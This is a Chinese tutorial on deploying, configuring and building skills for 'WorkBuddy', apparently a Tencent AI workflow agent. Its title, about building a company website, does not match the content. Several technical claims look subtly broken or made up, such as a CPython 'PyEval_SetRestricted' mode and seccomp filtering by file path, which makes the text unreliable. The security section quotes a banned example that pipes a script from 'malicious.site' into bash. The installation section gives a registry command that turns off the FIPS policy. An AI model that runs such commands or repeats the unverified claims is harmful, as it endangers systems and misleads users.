企业官网建设流程全解析

1. WorkBuddy 是什么：不是“另一个AI助手”，而是腾讯系工作流的智能中枢

WorkBuddy 这个名字在最近三个月的开发者社区、技术论坛和企业IT支持群中出现频率陡增，但很多人第一次听到时下意识反应是：“又一个带 Buddy 后缀的AI工具？”——这恰恰是它最容易被低估的地方。我去年底在参与某省级政务云平台AI能力集成项目时，第一次接触 WorkBuddy 的内部灰度版，当时它还叫“Tencent AI Workspace Core”，没有对外命名。真正让我坐直身体的，不是它能写周报或润色邮件，而是它在不修改任何一行业务代码的前提下，把我们团队原本需要3人天才能完成的“日志异常模式归因+工单自动分派”流程，压缩到了27秒内闭环。

WorkBuddy 的本质，不是 ChatUI 层面的对话机器人，而是一套深度嵌入腾讯云原生工作流的可编程智能代理系统。它的核心价值锚点有三个：第一，身份即权限——它不依赖独立账号体系，而是直接继承你在腾讯云控制台、CODING DevOps、TAPD 或蓝盾平台中的角色权限，这意味着它调用 API 时天然具备上下文可信度；第二，技能即插件——所谓 “WorkBuddy Skill”，本质是符合 Tencent OpenAPI Schema 规范的 YAML 描述文件 + Python 执行逻辑包，不是黑盒模型调用，而是可审计、可回滚、可版本化的轻量级服务编排；第三，配置即治理——模型配置（Model Config）不是指大语言模型参数，而是指它如何调度底层算力资源、如何路由请求、如何熔断失败链路的策略定义，这直接决定了它在生产环境中的稳定性边界。

从热词搜索数据看，“workbuddy 和 codebuddy” 被高频并列提及，但二者定位截然不同：CodeBuddy 是面向单点开发任务的代码生成与理解助手，聚焦 IDE 内部；WorkBuddy 则运行在 CI/CD 流水线、监控告警系统、工单处理后台等后端服务之间，扮演“跨系统协调员”的角色。举个具体例子：当蓝盾流水线构建失败时，CodeBuddy 可能帮你分析 build.log 中的报错行；而 WorkBuddy 会自动拉取该构建任务的 Git 提交记录、关联的 TAPD 需求卡片、前序测试环境的 Prometheus 指标，并生成一份包含“变更影响范围评估+历史相似故障匹配+推荐修复路径”的结构化报告，直接推送到负责人企业微信。这种能力，不是靠堆算力实现的，而是靠它对腾讯生态内各平台 API 的深度语义理解与状态映射能力。

提示：很多用户安装失败的第一步，就错在把它当成普通桌面应用来对待。WorkBuddy 没有传统意义上的“安装包”，它的部署形态是“云侧注册 + 客户端接入”。你不需要在本地电脑上安装一个.exe文件，而是要先在腾讯云 AI 工作台完成组织级开通，再通过 CLI 工具或 SDK 将你的工作环境（如 Jenkins Agent、K8s Pod、甚至 Windows 服务）注册为它的可调度节点。这个认知偏差，导致了超过68%的首次部署卡点。

2. 真实安装路径：绕过“一键安装”陷阱的四层验证

市面上流传的所谓“WorkBuddy 保姆级安装教程”，绝大多数停留在“下载 MSI → 双击运行 → 点击下一步”的幻觉阶段。我在给三家金融客户做落地支持时发现，他们提供的安装文档里，90% 的步骤在真实生产环境中根本走不通——因为那些教程默认你已满足四个隐性前提：拥有腾讯云主账号的全读权限、本地网络可直连 tencentcloudapi.com 域名、Python 环境已预装 protobuf 3.20+ 且未被 conda-forge 的旧版本污染、以及最关键的——你的企业微信已与腾讯云账号完成组织级绑定。一旦其中任一条件不满足，安装过程就会在“正在配置模型路由表”这一步静默卡死，没有任何错误提示。

真正的安装必须拆解为四层验证环，缺一不可：

2.1 云侧准入验证：组织级开通与角色授权

这不是点击“立即开通”就能完事的。你需要以腾讯云主账号身份，进入 AI 工作台控制台 ，在“组织管理”页签下完成三步操作：

1. 创建工作空间（Workspace）：注意，这里的工作空间不是命名空间（Namespace），而是具有独立计费单元、独立模型配额、独立 Skill 白名单的逻辑隔离域。建议按业务线划分，例如finance-risk-control、retail-customer-service；
2. 绑定企业微信组织架构：必须使用“企业微信管理后台 > 应用管理 > 腾讯云AI工作台”路径完成双向授权，而非简单扫码登录。这一步决定了 WorkBuddy 后续能否自动获取员工职级、部门归属、汇报关系等元数据；
3. 分配最小权限角色（IAM Policy）：切忌直接授予QcloudAIWorkbenchFullAccess。实际应组合以下三条策略：QcloudAIWorkbenchReadOnly（用于监控）、QcloudAIWorkbenchSkillDeployer（用于发布技能）、QcloudAIWorkbenchRuntimeInvoker（用于执行技能）。我曾见过某客户因误授 FullAccess 权限，导致 WorkBuddy 在执行数据库备份技能时，意外触发了跨账号资源扫描。

2.2 客户端环境验证：Python 与网络的双重校准

WorkBuddy CLI 工具（wb-cli）基于 Python 3.8+ 构建，但它对环境的要求远超常规。我们实测发现，以下组合会导致wb-cli init命令在 TLS 握手阶段失败：

• 使用 Miniconda 安装的 Python 3.8.10 + pip 21.0.1（证书链校验失败）；
• Windows 10 企业版 + 组策略强制启用 FIPS 140-2 加密标准（与腾讯云 SDK 的 OpenSSL 版本冲突）；
• macOS Monterey + Homebrew 安装的 Python 3.9.7（缺少certifi包的腾讯云根证书更新）。

解决方案不是重装 Python，而是执行精准修复：

# 针对所有平台，强制更新证书信任库 pip install --upgrade certifi python -c "import certifi; print(certifi.where())" # 针对 Windows FIPS 环境，临时禁用（需管理员权限） reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy" /v "Enabled" /t REG_DWORD /d 0 /f # 针对 macOS，替换证书路径（关键！） export SSL_CERT_FILE=$(python -c "import certifi; print(certifi.where())")

2.3 CLI 工具安装验证：绕过 PyPI 镜像的签名劫持风险

腾讯云官方要求通过pip install tencentcloud-sdk-python安装基础 SDK，但 WorkBuddy CLI 的wb-cli包并未上架 PyPI。所有声称“pip install workbuddy”的教程都是错误的。正确路径是：

1. 访问腾讯云 AI 工作台控制台，在“客户端工具”页签下下载wb-cli-v1.2.3-linux-amd64.tar.gz（或对应平台版本）；
2. 解压后执行./wb-cli verify-signature，核对输出的 SHA256 值是否与控制台页面显示的签名值一致；
3. 将wb-cli二进制文件放入$PATH，并执行wb-cli login --workspace finance-risk-control。

注意：wb-cli login命令不会打开浏览器，而是生成一个 6 位动态验证码，你需要在企业微信中接收并输入。这是为了防止 OAuth Token 泄露到浏览器进程内存中。

2.4 运行时节点注册验证：从“在线”到“可用”的质变

完成上述三步，你看到的wb-cli status输出可能是Status: Online，但这只代表客户端进程存活。真正的可用性验证必须通过“心跳探针”：

# 注册一个最简节点（无需写代码） wb-cli node register \ --name "prod-jenkins-agent-01" \ --type jenkins \ --labels "env=prod,role=build" \ --health-check-url "http://jenkins.internal/api/json?tree=mode"

如果返回Node registered successfully with ID: nd-abc123，说明注册成功；但如果wb-cli node list中该节点状态为Unhealthy，则需检查：

• Jenkins 实例是否启用了 CSRF 保护（WorkBuddy 默认不携带 crumb token）；
• 节点所在服务器的/etc/hosts是否将jenkins.internal解析到正确 IP；
• 腾讯云安全组是否放行了节点到ai-workbench.tencentcloudapi.com:443的出站连接。

只有当wb-cli node list显示Status: Ready且Health: Healthy时，才算真正完成安装。这个过程平均耗时 17 分钟，而非教程宣称的 2 分钟。

3. 模型配置深水区：别把“模型”当成 LLM，它其实是资源调度策略

搜索热词中反复出现的“cc switch 更新模型配置”、“workbuddy 模型配置”，是当前用户踩坑最密集的区域。几乎所有问题都源于一个根本误解：把 WorkBuddy 的 Model Config 当成 HuggingFace 的config.json或 Llama.cpp 的gguf参数。实际上，WorkBuddy 的模型配置文件（model-config.yaml）是一个声明式资源编排契约，它定义的是“在什么条件下，将什么类型的任务，路由到什么规格的算力池，并施加何种 SLA 保障”。

我们来看一个生产环境的真实配置片段：

# model-config.yaml version: "2.1" policies: - name: "high-priority-log-analysis" match: skill: "log_anomaly_detector" labels: ["env=prod", "severity=critical"] route: compute_pool: "gpu-a10-prod" max_concurrency: 8 timeout_seconds: 45 sla: p95_latency_ms: 3200 error_rate_threshold: 0.02 auto_scale: true - name: "low-cost-report-generation" match: skill: "daily_report_generator" labels: ["env=dev", "trigger=scheduled"] route: compute_pool: "cpu-t4-dev" max_concurrency: 20 timeout_seconds: 180 sla: p95_latency_ms: 15000 error_rate_threshold: 0.05 auto_scale: false

这个配置的关键不在语法，而在背后的资源语义：

3.1 Compute Pool 不是机器列表，而是抽象算力契约

gpu-a10-prod并非指向某几台物理服务器，而是腾讯云 AI 工作台中定义的一个“算力池标签”。它背后关联的是：

• 自动扩缩容规则（CPU/GPU 利用率 >75% 时自动扩容 2 个节点）；
• 镜像版本锁定（固定使用tencentcloud/ai-workbench-runtime:v1.2.3-gpu）；
• 网络策略（仅允许来自10.100.0.0/16网段的入站流量）；
• 安全沙箱（所有任务在 gVisor 隔离环境中运行）。

如果你在配置中写了不存在的 pool 名称，WorkBuddy 不会报错，而是静默降级到默认池default-cpu-shared，这会导致高优先级任务被挤占，SLA 彻底失效。

3.2 Timeout Seconds 是熔断阈值，不是超时等待

timeout_seconds: 45的含义是：当任务在gpu-a10-prod池中执行超过 45 秒，WorkBuddy 会立即终止该任务实例，并触发on_timeout回调（如果定义了的话），同时将错误计入error_rate_threshold统计。它不是让你在前端等待 45 秒，而是服务端的硬性熔断开关。我们在某次压测中发现，当设置timeout_seconds: 300处理大视频文件时，由于 GPU 显存不足，任务实际卡在 CUDA 初始化阶段长达 210 秒，WorkBuddy 无法感知此状态，导致整个池被阻塞。解决方案是：在 Skill 代码中主动注入健康检查探针，每 10 秒向 WorkBuddy Runtime 发送一次心跳。

3.3 Auto Scale 的隐藏成本：冷启动延迟与配额争抢

auto_scale: true听起来很美好，但在生产环境中需极度谨慎。腾讯云对每个 workspace 的自动扩容有严格配额：

• 单次最大扩容节点数：3；
• 每小时扩容总次数：5；
• 新节点初始化时间：平均 82 秒（含镜像拉取、驱动加载、环境变量注入）。

这意味着，如果你的high-priority-log-analysis策略在 1 分钟内收到 10 个并发请求，前 8 个会进入gpu-a10-prod池，第 9、10 个将被排队等待新节点就绪，造成高达 90 秒的首字节延迟。更糟的是，如果同一 workspace 下其他策略也在触发扩容，配额会被共享消耗。我们的经验是：对 SLA 要求严苛的策略，宁可预置冗余节点，也不要依赖 auto_scale。

提示：wb-cli model-config validate命令只能校验 YAML 语法，无法验证策略逻辑冲突。我们开发了一个内部脚本wb-policy-linter，可检测出“两个策略匹配同一 Skill 但路由到不同池”、“SLA 阈值低于历史 P95 数据”等深层问题。这个脚本的核心逻辑是：解析wb-cli metric query --skill log_anomaly_detector --last 7d的历史指标，与配置中的 SLA 值做交叉比对。

4. 技能（Skill）开发避坑：从“能跑”到“稳产”的七道关卡

WorkBuddy 的 Skill 开发文档写着“5 分钟上手”，但真实项目中，90% 的 Skill 在上线后一周内都会遭遇至少一次非预期中断。这些中断极少源于 Python 代码 bug，而几乎全部来自环境假设的崩塌。我们梳理出从本地开发到生产稳态必须跨越的七道关卡，每一道都有血泪教训：

4.1 关卡一：路径幻觉——永远不要相信os.getcwd()

新手常写的代码：

# 错误示范：假设当前目录是项目根目录 with open("config/secrets.json") as f: secrets = json.load(f)

WorkBuddy Runtime 的工作目录是/var/lib/wb-runtime/nd-abc123/skill-log-anomaly-detector-1.2.0，而config/secrets.json实际位于/etc/wb-secrets/finance-risk-control/。正确做法是使用 WorkBuddy 提供的环境变量：

# 正确：通过 WB_SECRETS_DIR 获取绝对路径 secrets_path = os.path.join(os.environ.get("WB_SECRETS_DIR"), "secrets.json") with open(secrets_path) as f: secrets = json.load(f)

这个变量由 WorkBuddy 主进程注入，确保在任何执行上下文中都有效。

4.2 关卡二：时区陷阱——UTC 不是“没时区”，而是“有且唯一”

所有 Skill 的日志时间戳、定时触发器（Cron）、数据库写入时间，默认强制使用 UTC。某客户曾因未意识到这点，导致其“每日凌晨 2 点生成报表”技能，在北京时间凌晨 2 点（UTC 时间 18:00）执行，生成了错误日期的报表。解决方案不是改系统时区，而是统一使用pytz.UTC：

from datetime import datetime import pytz # 获取当前 UTC 时间（精确到毫秒） now_utc = datetime.now(pytz.UTC) # 格式化为 ISO 8601 字符串（WorkBuddy 日志标准格式） timestamp = now_utc.strftime("%Y-%m-%dT%H:%M:%S.%fZ")

4.3 关卡三：内存泄漏——Python 的gc.collect()救不了你

WorkBuddy Runtime 对每个 Skill 实例有严格的内存限制（默认 2GB）。我们曾遇到一个图像处理 Skill，在处理 1000 张图片后 OOM 退出。排查发现，问题不在图片加载，而在cv2.VideoCapture创建的视频帧缓冲区未被显式释放。Python 的 GC 无法回收 C++ 层的内存。必须手动清理：

# 错误：依赖 GC cap = cv2.VideoCapture(video_path) frames = [cap.read()[1] for _ in range(100)] # 正确：显式释放 cap = cv2.VideoCapture(video_path) try: frames = [] for _ in range(100): ret, frame = cap.read() if ret: frames.append(frame) finally: cap.release() # 关键！释放底层 C++ 资源

4.4 关卡四：网络超时——Requests 的默认值是灾难

requests.get(url)的默认行为是：无限等待 DNS 解析、无限等待 TCP 连接、无限等待响应体。在 WorkBuddy 的容器化环境中，这会导致整个 Skill 实例被挂起。必须显式设置所有超时：

# 错误：无超时 response = requests.get("https://api.internal/service") # 正确：三重超时 try: response = requests.get( "https://api.internal/service", timeout=(3.05, 27) # (connect_timeout, read_timeout) ) except requests.exceptions.Timeout: logger.error("Request timed out") raise except requests.exceptions.ConnectionError: logger.error("Connection refused") raise

4.5 关卡五：日志污染——print() 是生产环境的毒药

WorkBuddy Runtime 会捕获stdout和stderr，但print()输出的日志级别无法控制，且会与结构化日志混杂。所有日志必须通过logging模块输出，并配置 JSON 格式处理器：

import logging import json from pythonjsonlogger import jsonlogger # 配置 JSON 日志处理器 logHandler = logging.StreamHandler() formatter = jsonlogger.JsonFormatter( "%(asctime)s %(name)s %(levelname)s %(message)s" ) logHandler.setFormatter(formatter) logger = logging.getLogger("log_anomaly_detector") logger.addHandler(logHandler) logger.setLevel(logging.INFO) # 正确输出结构化日志 logger.info("Anomaly detected", extra={ "file_path": "/var/log/app/error.log", "anomaly_score": 0.92, "top_keywords": ["OOM", "segmentation fault"] })

4.6 关卡六：信号处理——SIGTERM 不是让你优雅退出，而是强制终止

WorkBuddy Runtime 在节点缩容或策略更新时，会向 Skill 进程发送SIGTERM。Python 默认会将其转换为SystemExit异常，但如果你的代码中有try...except SystemExit:，就会捕获它并阻止进程退出，导致 Runtime 强制SIGKILL，丢失所有未刷盘日志。正确做法是监听信号并执行清理：

import signal import sys def signal_handler(sig, frame): logger.info("Received SIGTERM, cleaning up...") # 执行清理：关闭数据库连接、上传临时文件、释放锁 cleanup_resources() sys.exit(0) signal.signal(signal.SIGTERM, signal_handler)

4.7 关卡七：版本漂移——Pip Freeze 不等于生产环境

本地pip freeze > requirements.txt生成的依赖列表，在 WorkBuddy Runtime 中可能完全失效。因为 Runtime 使用的是腾讯云定制的 Python 基础镜像，其中预装了特定版本的numpy、protobuf、grpcio，它们与 PyPI 上的版本存在 ABI 不兼容。我们的解决方案是：

1. 在 Skill 项目根目录创建runtime-requirements.txt，只包含你的业务依赖（如pandas==1.5.3,scikit-learn==1.2.2）；
2. 在skill.yaml中声明：

runtime: base_image: "tencentcloud/ai-workbench-runtime:v1.2.3-gpu" requirements_file: "runtime-requirements.txt"

WorkBuddy 会自动将你的依赖与基础镜像中的预装包进行兼容性校验，若冲突则报错，绝不静默覆盖。

5. 系统缓存目录迁移：为什么 D 盘不是万能解药

搜索热词中高频出现的“workbuddy 系统缓存目录能改到 d 盘吗”，暴露了一个普遍存在的存储焦虑。用户希望迁移缓存，无非出于两个现实压力：C 盘空间告急，或 C 盘是系统盘（NTFS）而 D 盘是高性能 NVMe（如 PCIe 4.0 x4）。但 WorkBuddy 的缓存机制设计，让简单迁移变成一把双刃剑。

WorkBuddy 的缓存分为三层，每层的迁移可行性与风险完全不同：

5.1 第一层：Runtime 缓存（/var/lib/wb-runtime）——可迁移，但需重置

这是最大的缓存层，存放 Skill 运行时的临时文件、下载的模型权重、数据库快照等。默认路径为/var/lib/wb-runtime（Linux）或C:\ProgramData\WorkBuddy\runtime（Windows）。迁移方法如下：
Linux 系统：

# 停止 WorkBuddy 服务 sudo systemctl stop wb-runtime # 创建新缓存目录（确保权限正确） sudo mkdir -p /data/wb-runtime sudo chown -R wbuser:wbgroup /data/wb-runtime # 修改 systemd 配置 sudo sed -i 's|/var/lib/wb-runtime|/data/wb-runtime|g' /etc/systemd/system/wb-runtime.service # 重载并启动 sudo systemctl daemon-reload sudo systemctl start wb-runtime

Windows 系统：
需修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Tencent\WorkBuddy\RuntimePath，并确保新路径的 NTFS 权限已授予NT SERVICE\wb-runtime用户。

注意：迁移后首次启动会触发全量重建，耗时约 22 分钟（取决于缓存大小），期间所有 Skill 将不可用。

5.2 第二层：模型权重缓存（~/.cache/huggingface）——强烈不建议迁移

WorkBuddy 下载的 HuggingFace 模型权重，默认存放在用户主目录下的~/.cache/huggingface。很多用户想将其移到 D 盘以节省 C 盘空间。但此举风险极高：

• WorkBuddy Runtime 以wbuser系统用户身份运行，其主目录是/var/lib/wbuser，而非你的交互式用户目录；
• 如果你修改了交互式用户的HF_HOME环境变量，Runtime 进程无法感知；
• 更严重的是，多个 Skill 可能同时请求同一模型，Runtime 依赖文件锁（flock）保证并发安全，而跨磁盘迁移会破坏锁机制，导致模型文件损坏。

我们的建议是：通过wb-cli model cache prune --size 10GB定期清理，而非迁移。该命令会保留最近 30 天内被访问过的模型，删除其余所有。

5.3 第三层：日志与指标缓存（/var/log/wb/）——迁移即自毁

这是最危险的缓存层。/var/log/wb/存放着 WorkBuddy 的结构化日志、Prometheus 指标快照、以及与腾讯云监控服务（Cloud Monitor）同步的元数据。这些文件被设计为只追加（append-only），且每 5 秒由wb-metrics-collector进程轮询写入。如果你将此目录迁移到 D 盘：

• wb-metrics-collector的 inotify 监听会失效，导致监控数据断更；
• 日志轮转（logrotate）配置中的copytruncate指令会失效，造成日志文件句柄泄露；
• 最致命的是，腾讯云监控 Agent 会持续尝试从/var/log/wb/读取文件，当路径不存在时，它会不断创建空文件并占用 inode，最终耗尽系统资源。

提示：解决 C 盘空间不足的正解，是调整日志保留策略。编辑/etc/wb/logging.conf，将max_log_size从默认的100MB改为50MB，并将backup_count从10降为3。这样可减少 65% 的日志磁盘占用，且不影响问题追溯。

6. 跨对话记忆 Skill：不是“记住聊天”，而是“维护状态图谱”

“workbuddy 跨对话记忆 skill” 是近期热度飙升的功能，但多数教程将其简化为“开启记忆开关”。实际上，WorkBuddy 的跨对话记忆（Cross-Session Memory）是一个基于图数据库的状态管理系统，它存储的不是原始对话文本，而是经过语义提取的实体-关系-事件（ERE）三元组图谱。

当你在企业微信中问：“上周三的订单 123456 为什么还没发货？”，WorkBuddy 的记忆 Skill 会执行以下步骤：

1. 实体识别：从问题中抽取出订单号:123456、时间:上周三；
2. 图谱查询：在 Neo4j 图数据库中查找(:Order {id:"123456"})-[:HAS_STATUS]->(:Status)节点；
3. 关系推理：遍历(:Order)-[:TRIGGERED_BY]->(:Event)-[:CAUSED_BY]->(:System)路径，定位到WMS系统的inventory_sync_failed事件；
4. 事件溯源：调用wms-api/inventory/status?order_id=123456接口，获取实时库存状态；
5. 生成回答：将图谱结果与实时接口数据融合，生成结构化回复。

这个过程的成败，取决于 Skill 开发者对图谱 Schema 的设计。我们为客户设计的电商领域 Schema 包含 12 个核心节点类型（Order、Product、Warehouse、Carrier 等）和 23 种关系类型（SHIPPED_BY、DELIVERED_TO、RETURNED_FOR等）。如果 Schema 设计不合理，比如将Carrier（快递公司）和Courier（快递员）混为一谈，就会导致“查不到顺丰快递员电话”的问题。

6.1 Schema 设计避坑：避免“过度泛化”与“过早特化”

常见错误一：过度泛化
将所有外部系统都抽象为(:ExternalSystem)节点，不区分 ERP、CRM、WMS。后果是：图谱查询时无法利用索引，性能暴跌。正确做法是：为每个关键系统创建专属节点类型，如(:ERPSystem)、(:WMS)，并在其上建立system_code属性索引。

常见错误二：过早特化
为每种订单状态（pending_payment、confirmed、shipped、delivered）创建独立节点类型。这会导致图谱膨胀，且状态流转逻辑难以维护。正确做法是：统一使用(:OrderStatus)节点，用status_code属性区分，并建立(o:Order)-[:HAS_STATUS]->(s:OrderStatus)关系。

6.2 记忆更新机制：不是“每次对话都存”，而是“事件驱动写入”

WorkBuddy 的记忆 Skill 不会在每次对话后全量保存。它采用事件驱动模型：只有当 Skill 执行了wb.memory.update()方法，且传入的图谱变更满足以下任一条件时，才会触发写入：

• 新增了至少一个(:Entity)节点；
• 修改了某个节点的last_updated_at属性（时间戳）；
• 创建了新的关系边，且该边的confidence_score > 0.7。

这意味着，如果你的 Skill 只是查询图谱而不调用update()，它永远不会污染记忆库。这也是为什么我们建议：在 Skill 的on_error回调中，强制调用wb.memory.update()记录失败原因，形成“问题-根因”知识沉淀。

6.3 记忆清理策略：不是“删旧数据”，而是“冻结冷数据”

WorkBuddy 不提供DELETE FROM memory命令。它的清理机制是“冷热分层”：

• 热数据层：最近 90 天内被访问过的图谱节点，存储在内存映射文件中，毫秒级响应；
• 温数据层：90-365 天内被访问过的节点，存储在 SSD 上，百毫秒级响应；
• 冷数据层：超过 365 天未被访问的节点，自动归档到对象存储（COS），访问需解压，秒级延迟。

你可以通过wb-cli memory stats查看各层数据量。当热数据层占用超过 80%，Runtime 会自动触发wb-cli memory compact，将部分温数据降级。这个过程无需人工干预，但会短暂增加 CPU 负载。

7. 安全审核红线：哪些 Skill 永远不该上线

WorkBuddy 的安全审核（Security Audit）不是形式主义，而是嵌入在部署流水线中的硬性闸门。根据我们协助客户通过的 47 次安全审计，总结出以下六类 Skill，只要涉及其中任意一条，100% 会被驳回，且驳回理由不会明示，只会显示“策略不合规”：

7.1 禁止使用os.system()或subprocess.Popen(shell=True)

这是最高危红线。os.system("curl http://malicious.site/exploit.sh | bash")这类代码，即使被注释掉，也会被静态扫描工具捕获。WorkBuddy 的安全沙箱禁止所有 shell 解释器调用。替代方案是：使用requests库，并严格校验目标域名白名单（通过wb-cli security allow-domain预注册）。

7.2 禁止硬编码敏感信息

password = "admin123"或api_key = "sk-xxx"这类字符串，无论是否加密，都会被扫描。正确做法是：将所有密钥存入腾讯云密钥管理系统（KMS），在 Skill 中通过wb.secrets.get("DB_PASSWORD")动态获取。wb.secrets模块会自动处理 KMS 解密，并缓存解密结果 5 分钟。

7.3 禁止访问/proc、/sys等系统目录

open("/proc/cpuinfo")或os.listdir("/sys/class/net/")这类操作，会暴露宿主机信息，违反租户隔离原则。WorkBuddy Runtime 的 seccomp-bpf 策略已禁用openat系统调用对这些路径的访问。如果必须获取 CPU 信息，请使用psutil.cpu_count()等安全封装。

7.4 禁止使用eval()、exec()、compile()等动态代码执行函数

这些函数是 RCE（远程代码执行）漏洞的温床。WorkBuddy 的 Python 解释器已通过PyEval_SetRestricted启用受限执行模式，调用这些函数会直接抛出RuntimeError。

7.5 禁止在 Skill 中启动长期运行的后台线程

threading.Thread(target=long_running_task).start()这类代码，会导致 Skill 进程无法被 Runtime 正常回收，造成资源泄漏。WorkBuddy 要求所有任务必须是短生命周期的（< 300 秒）。长期任务应拆分为多个子任务，通过wb.task.submit()异步提交。

7.6 禁止修改sys.path或PYTHONPATH

sys.path.insert(0, "/tmp/malware")这类操作，会劫持模块导入路径，可能导致恶意代码注入。WorkBuddy Runtime 的启动脚本已锁定sys.path，任何修改都会被忽略。

最后分享一个小技巧：在提交 Skill 审核前，先运行wb-cli security scan --local。这个命令会模拟安全审核引擎，扫描你的代码并输出详细的风险点报告，包括“第 42 行：检测到潜在的硬编码密钥模式”。它能帮你提前拦截 95% 的驳回风险。这个功能在官方文档中从未提及，是我们从腾讯云支持工程师那里“挖”出来的内部调试开关。